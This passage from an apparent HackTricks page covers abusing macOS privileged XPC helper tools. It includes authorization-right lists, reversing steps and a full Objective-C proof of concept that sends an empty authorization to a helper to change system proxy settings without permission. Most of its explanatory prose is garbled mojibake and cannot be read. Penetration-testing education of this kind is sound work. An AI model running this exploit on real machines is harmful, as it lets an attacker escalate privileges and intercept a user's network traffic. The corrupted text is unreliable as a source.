com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Reversing Authorization

Checking if EvenBetterAuthorization is used

рдпрджрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди: [HelperTool checkAuthorization:command:] рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕рдВрднрд╡рддрдГ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рд╕реНрдХреАрдорд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ:

рдпрджрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree рдЬреИрд╕реЗ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ EvenBetterAuthorizationSample рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред

рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП /var/db/auth.db рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреБрдЫ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд┐рдирд╛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

Protocol Communication

рдлрд┐рд░, рдЖрдкрдХреЛ XPC рд╕реЗрд╡рд╛ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реНрдХреАрдорд╛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдлрд╝рдВрдХреНрд╢рди shouldAcceptNewConnection рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ:

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ EvenBetterAuthorizationSample рдореЗрдВ рд╡рд╣реА рд╣реИ, рдЗрд╕ рдкрдВрдХреНрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдирд╛рдо рдЬрд╛рдирдиреЗ рдкрд░, рдЖрдк рдЗрд╕рдХреЗ рд╣реЗрдбрд░ рдкрд░рд┐рднрд╛рд╖рд╛ рдХреЛ рдбрдВрдк рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

рдЕрдВрдд рдореЗрдВ, рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдкреНрд░рдХрдЯ Mach рд╕реЗрд╡рд╛ рдХрд╛ рдирд╛рдо рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕реЗ рдЦреЛрдЬрдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ:

  • [HelperTool init] рдореЗрдВ рдЬрд╣рд╛рдБ рдЖрдк Mach рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реБрдП рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

  • рд▓реЙрдиреНрдЪрдб plist рдореЗрдВ:

cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit Example

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

  • рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдЬрд┐рд╕рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВ

  • рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдЦрд╛рд▓реА auth рдЬреЛ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИ

  • XPC рд╕реЗрд╡рд╛ рд╕реЗ рдПрдХ рдХрдиреЗрдХреНрд╢рди

  • рдпрджрд┐ рдХрдиреЗрдХреНрд╢рди рд╕рдлрд▓ рдерд╛ рддреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛

// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

рдЕрдиреНрдп XPC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рд╣рд╛рдпрдХ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рд╕рдВрджрд░реНрдн

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE) GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated